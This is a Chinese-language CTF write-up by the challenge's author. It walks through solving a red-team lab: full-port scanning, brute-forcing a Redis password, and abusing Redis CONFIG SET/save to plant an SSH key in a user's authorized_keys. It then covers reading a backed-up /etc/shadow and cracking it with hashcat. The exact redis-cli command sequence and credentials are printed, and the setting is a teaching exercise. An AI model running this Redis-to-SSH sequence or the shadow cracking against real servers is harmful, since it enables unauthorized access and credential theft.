信安之路挑战赛红蓝对抗题目全解析

红蓝对抗 2019-11-10

本文作者:Umask(信安之路作者团队成员 / 红蓝对抗题目出题人) 原本红蓝对抗的题目是由红蓝对抗小组的组长来出的,他工作项目比较急没时间,就有作者团队的另外一个小伙伴代替完成题目,并在比赛过程中做一下安全运维,根据攻击情况来做调整。 原创 信安之路红蓝对抗小组招募志同道合的朋友

首先,题目其实设置不是太难,主要是坑有点多,而且需要一定的时间才能完成。因为要本着贴近实战的原则出题,所以在做题的时候,很多人还是带着做传统 CTF 题目的思路来,所以有一些坑就让这部分人钻了牛角尖,出不来。

不要只关注 web,渗透不只有 web 一条路

在搞定 web 前端那个题目之后,会得到一个 key,将这个 key 提交到信安之路公众号后台之后会得到红蓝对抗这个题目的提示,也就是入口地址,拿到 url 之后,我们首先会习惯性的浏览器访问,结果发现有一个网站,网页内容存在二维码福利照片

这里是坑点 1, ctf 做习惯的人有图片以为是隐写术, 有网站以为是考 web 漏洞,后台发现一堆人进行目录扫描。 其实放网站无非是干扰的信息而已,让大家消磨点时间。

其实这次题目设置偏向真实实战类型,所有在真实的渗透测试中,获取到一个 url 或 IP,都应该要先从端口服务开始入手,网站(web)其实只是端口服务中的一个,大家眼中不要只有 web 服务,可能大家都是学 web 安全入门的,所以大家上来就搞 web,应该在搞之前了解一个服务器的基本情况,就是要知道他都开了哪些端口,是干什么用的,所以最好对该服务器做一次全端口扫描,从开放的端口上可以大概看出这个服务器到底是做什么用的,然后对症下药。

后来为了帮大家纠正方向,网站页面进行了提示:key > 1433 + 1521 + 3306

明眼人大家都知道分别为不同的数据库端口,1433(sql server)、 1521(oracle) 、3306(mysql)

提示大家 key 值就藏在比上述三个端口加起来还大的端口上。

寻找突破口

这一关的突破口其实在 redis 这个数据库服务上(端口 6379),首先需要进行 nmap 的端口扫描,才能发现靶机存在的这个端口,这里隐藏坑点 2,正常的 nmap 端口扫描是发现不了的,因为 6379 端口为非常见端口,所以我们需要进行一个全端口的发现。

nmap -p- -sV honglanduikburongyiya.xazlsec.com

img

大家要有这样的思路,靶机不可能无缘无故的开放某个服务端口,开放的服务端口就是你的突破口。

我这次考的就是 redis 服务,大家平常学习的都是未授权的访问,也就是无密码,这次增加点难度,设置了 top100密码, 大家可以依靠py脚本、工具等方式来爆破。

img

得到密码后,我们就可以连接上去了。

redis-cli -h honglanduikburongyiya.xazlsec.com -a 1q2w3e4r

现在常规 redis 漏洞利用方式中存在以下几种: 写入 ssh key 、写 webshell、反弹 shell、写 /etc/passwd 具体详情访问:

http://www.freebuf.com/vuls/148758.html

(1)常见写入 ssh key 均为写到 root 目录下的 ssh:

192.168.56.101:6379> CONFIG SETdir /root/.ssh/

但是为了避免大家拿到 root 的权限,我把 .ssh 目录删除了。所以会报错,没有此目录。

(error) ERR Changing directory: Nosuch file or directory

(2)写 webshell,我并未装 php 环境,所以大家的 webshell,就算写入到 /var/www/html/ 底下也是无法执行。

(3)反弹 shell,这种手法是依靠 linux 的定时任务 crontab,但是我把 cron 服务关停了,所以就算写入了定时计划,服务关停也不会触发。

(4)写入 /etc/passwd,具体手法原理,见上述引用文章,这个是我没控制住的,写入 /etc/passwd 需要 root 权限,但是我部署环境的时候忘记以普通用户身份权限启动,导致有同学依靠写入 /etc/passwd 的方式得到了 root 权限。

直捣黄龙

这次的考点是写入 ssh key ,但是是写入到普通用户底下,想看看大家在 root 目录下无法写入的时候是否懂得变通,大家眼里不要只有 root 账户。本次创建了以下 4 个常见用户名,key、admin、guest、test,随便写入其中某个用户即可。

img

root@bogon:~/.ssh$ ssh-keygen–t rsa  
root@bogon:~/.ssh$ (echo -e"\n\n"; catid_rsa.pub; echo-e"\n\n") > foo.txt  
root@bogon:~/.ssh$ catfoo.txt | redis-cli -h66.42.84.155 -xsetcrackit  
root@bogon:~/.ssh$ redis-cli-h66.42.84.155 -a1q2w3e4r
66.42.84.155:6379> CONFIG setdir /home/test/.ssh/
66.42.84.155:6379> config setdbfilename "authorized_keys" 
66.42.84.155:6379>save![](https://i.imgur.com/Yfmsf5P.png)  

接着即可拿着私钥进行无密钥登陆

root@bogon:~/.ssh# ssh -i id_rsa test@66.42.84.155

拿到权限登陆后,即可登陆寻找 Key 值。这里考验大家寻找线索能力。

我在 /tmp/ 目录下遗留了 history 文件。

img

该文件中存在几个 tips。

(1)key 的明文密码就是下一关通关密文

img

有的同学把上面的 key 明文密码误认为 P@ssword123, 但是设置密码非这命令,误导大家而已。

img

(2)存在的 2 个关键信息,我 wget 一个地址和我备份了一个 /etc/shadow 文件。

img

我们访问一下,那个 url 看看,是个高频字典的下载页面

img

而那个 shadow.bak 的文件我们可以读。按照最初的 tips 就是获取 key 的密文密码,那么字典、hash 密文有了剩下的就是爆破了。

img

我们可以使用 hashcat 工具来爆破,当然也可以选择其他工具

img

至此,我们成功获得了 Key 的明文密码:1314woaini1314

img

小插曲

由于所有人攻击的是一套系统,所以每个人都操作了啥不得而知,一个人把系统搞坏,就会导致所有人都不能玩,在实际的环境中渗透,不能破坏计算机的正常使用是第一原则,所以好的渗透师是不会让系统出问题的,你如果让系统出了故障,那么你之前的努力就白费了,因为管理员知道了你的入侵行为,把你清理出去,或者服务器下线,对你来说都是一个沉重的打击,所以更贴近实战的比赛就是大家玩一台机子,而不会让服务器出问题。

由于不知道做了什么操作,导致普通用户不能通过 ssh key 认证登录系统,所以为了让大家正常参加比赛,所以临时安装了 php 的运行环境,大家可以在 web 目录下写 webshell 来继续接下来的比赛,所以大家在做渗透的时候,一定要记住不要让你渗透的设备出问题,否则,你将后悔莫及。

总结

整体题目不难,关键在于坑点较多些,需要足够的耐心来处理和寻找线索。

其实就是在 redis 未授权的访问基础上进行变化,主要考验大家在非常规的渗透测试中的应变能力。

比较渗透测试的工作不是一层不变的,大家要懂得灵活运用。


本文由 信安之路 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

楼主残忍的关闭了评论